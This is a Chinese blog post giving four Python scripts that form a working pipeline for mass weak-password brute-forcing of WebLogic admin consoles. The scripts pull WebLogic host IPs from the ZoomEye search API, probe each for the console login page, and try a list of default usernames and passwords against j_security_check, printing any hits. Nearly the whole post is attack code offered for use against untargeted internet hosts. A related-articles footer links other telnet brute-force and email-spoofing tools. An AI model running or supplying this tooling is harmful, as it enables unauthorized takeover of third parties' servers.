python写批量weblogic爆破脚本
前言:
整理笔记的时候,发现了weblogic的攻击方法。心里打着算盘看看怎么写
个批量的弱口令爆破脚本。得出了以下思路
思路:
1.利用钟馗之眼采集weblogic的网站,将IP写入到txt
2.添加后台路径,判断是否能成功连接,并且没有过滤表里面的错误。写入到txt
3.转换路径,将后台路径转换为表单请求的路径写入到txt
4.判断是账号和密码是否成功
详细思路请参考:https://www.jianshu.com/p/e97b109ace40 (同时也是一份攻击weblogic服务的好文章)
代码:
weblogicpass.py
import requests def zoomeye():
sjian=open('save.txt','w')
sjian.close() data={"username":"钟馗之眼的登录邮箱","password":"钟馗之眼的登录密码"}
url='https://api.zoomeye.org/user/login'
login=requests.post(url=url,json=data)
access_token=login.json()['access_token'] logheaders={'Authorization':'JWT'+' '+access_token}
for x in range(10):
print('[+]page is {}'.format(x))
url2s='https://api.zoomeye.org/host/search?query=app:weblogic&page={}'.format(x)
rest2=requests.get(url=url2s,headers=logheaders)
vd=rest2.json()['matches'][0:]
for q in vd:
sj='IP:',q['ip'],'Port:',q['portinfo']['port'],'App:',q['portinfo']['app']
print(sj)
print(sj,file=open('save.txt','a'))
zoomeye()
weblogicjiexi.py
import requests
import re
def jx():
xj=open('save2.txt','w')
xj.close() error=['','Not Found','不存在','']
ok=[]
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36'}
kew = open('save.txt', 'r')
for p in kew.readlines():
we = "".join(p.split('\n'))
pow = re.findall('(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)',we)
for i in pow:
pd = '{}'.format(i).replace('(', '').replace(')', '').replace("'", '').replace(',', '.').replace(' ', '')
try:
rsc=requests.get(url='http://{}/console/login/LoginForm.jsp'.format(pd),headers=headers,timeout=1.1)
for e in error:
if rsc.status_code==200 and rsc.text not in e:
ok.append(rsc.url) except: pass id = list(set(ok))
for p in id:
lk=re.findall('.*/console/login/LoginForm.jsp',p)
for i in lk:
print('[+]ok url:',i+'')
print(i+'',file=open('save2.txt','a')) jx()
weblogiczhuanhuan.py
import os
import re rl=open('save3.txt','w')
rl.close() if os.path.exists('save2.txt'):
print('[+]ok save2.txt !')
else:
print('[-]Not found save2.txt')
exit() yw=open('save2.txt','r')
for e in yw.readlines():
w="".join(e.split('\n'))
yd=re.sub('/console/login/LoginForm.jsp','/console/j_security_check',w)
print(yd)
print(yd,file=open('save3.txt','a'))
weblogicbaopo.py
import requests
import threading def main(ip):
datas={}
listd=['weblogic','weblogic','weblogic','welcomel','system','password','admin','security','mary','password','joe','password','wlcsystem','wlcsystem','wlpisystem','wlpisystem','weblogic','admin','weblogic','','admin','']
url='{}'.format(ip)
headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36'}
for user in listd:
for passwd in listd:
data='j_username={}&j_password={}&j_character_encoding=UTF-8'.format(user,passwd)
for j in data.split('&'):
key,value=j.split('=',1)
datas[key]=value
try:
request=requests.post(url=url,headers=headers,data=datas,allow_redirects=False)
if request.status_code==302 and 'console' in request.headers['Location'] and 'LoginForm.jsp' not in request.headers['Location']:
print('[+]url:{}'.format(request.url))
print('[+]username:{}'.format(user))
print('[+]password:{}'.format(passwd))
else:
print('[-]url:{}'.format(request.url))
print('[-]Error username:{}'.format(user))
print('[-]Error password:{}'.format(passwd))
except:
pass if __name__ == '__main__':
we=open('save3.txt','r')
for w in we.readlines():
x="".join(w.split('\n'))
main(x)
测试
正在爆破某个IP的截图:

python写批量weblogic爆破脚本的更多相关文章
- Python Telnet弱口令爆破脚本及遇到的错误与问题
写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...
- python写一个邮箱伪造脚本
前言: 原本打算学php MVC的思路然后写一个项目.但是贼恶心, 写不出来.然后就还是用python写了个邮箱伪造. 0x01 第一步先去搜狐注册一个邮箱 然后,点开设置,开启SMTP服务. 当然你 ...
- python写的自动签到脚本。
等以后有时间补上. 附上代码: #! /usr/bin/env python # coding:utf-8 #-----------------------------------------学号和密 ...
- python+paramiko库+svn写的自动化部署脚本
第一篇博文 直接开门见山的说了. 这是件什么事?:每次部署都是复制本地的文件粘贴到服务器端,因为路径复杂,所以费时且手工容易出漏洞. 一直在想有什么办法可以解决这种,因为以前在微软的一个牛人同事做过一 ...
- python 写的http后台弱口令爆破工具
今天来弄一个后台破解的Python小程序,哈哈,直接上代码吧,都有注释~~ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ...
- Python操作Excel_随机点菜脚本
背景: 中午快餐,菜单吃了个遍,天天纠结于不知道点啥菜. 想起读书考试时,丢纸团选答案,于是用python写个随机点菜脚本玩玩. 功能: 菜单为Excel,一个Sheet ...
- Python写网络后台脚本
Python写网络后台脚本. 首先安装Python3.6.5,在centos中自带的Python是2.6版本的,现在早就出现了3.6版本了况且2和3 之间的差距还是比较大的,所以我选择更新一下Pyth ...
- 「懒惰的美德」我用 python 写了个自动生成给文档生成索引的脚本
我用 python 写了一个自动生成索引的脚本 简介:为了刷算法题,建了一个 GitHub仓库:PiperLiu / ACMOI_Journey,记录自己的刷题轨迹,并总结一下方法.心得.想到一个需求 ...
- Python 写了一个批量生成文件夹和批量重命名的工具
Python 写了一个批量生成文件夹和批量重命名的工具 目录 Python 写了一个批量生成文件夹和批量重命名的工具 演示 功能 1. 可以读取excel内容,使用excel单元格内容进行新建文件夹, ...
随机推荐
- caffe安装编译问题-ImportError: libopencv_core.so.3.4: cannot open shared object file: No such file or directory
问题描述 >>> import caffe Traceback (most recent call last): File , in <module> File , in ...
- IPM
#if 0 void xyp2ipmp(cv::Mat& xyp, cv::Mat& ipmp, cv::Mat& xylim, Size& sz){ //xylimi ...
- 0-1背包 codeforces 55 D
题目链接: http://acm.hust.edu.cn/vjudge/contest/view.action?cid=29608#problem/D 我把它化成了0-1背包,应该可以直接用多重背包做 ...
- Centos(linux)下的Python
Centos(linux)下安装python3(python2和python3共存) yum -y install lrzsz 首先安装lrzsz工具,lrzsz是一款在linux里可代替ftp上传和 ...
- LG4455 【[CQOI2018]社交网络】
分析 这题我们先转化为图论模型,发现求的其实就是有向图中以1为根的生成树数量.而关于这一问题存在O(3^n * n^2)的算法,一看数据n=250,发现不行.于是需要更高效的算法--Matrix-Tr ...
- 好使-利用python 下paramiko模块无密码登录
[root@salt-minion02 paramiko]# vim baoleiji4.py # -*- coding:utf-8 -*-import paramikoprivate_key = p ...
- 设置tab标签页 遮挡部分
效果如下: 主要代码: <div class="need-detail"> <div class="top-title"> <sp ...
- 如何快速配好java环境变量和查看电脑上安装JDK的版本位数
今天一个新手在群里问自己的Eclipse打不开,然后我是属于那种热心肠的人,一般自己知道的就会告诉他们,看了下,是环境变量没有配好,反正我觉得配环境比较简单,现在就教大家简单的环境变量配法 path ...
- hasura 的3factor 架构结论
hasura 是一个很不错的开发团队,开发了好几款,不错的产品,最近的graphql engine 是很热的一款 graphql 引擎,同时团队提出了3factor 系统架构理论 参考网站 https ...
- zeroMQ 学习
zeroMQ 是一个高性能的分布式设计的消息队列,网上有人进行过性能的比较,非常厉害,并且很大约40多种语言的API 可以调用,真实很不错的. 而且有一点就是使用简单,不需要服务器,对于使用C/C++ ...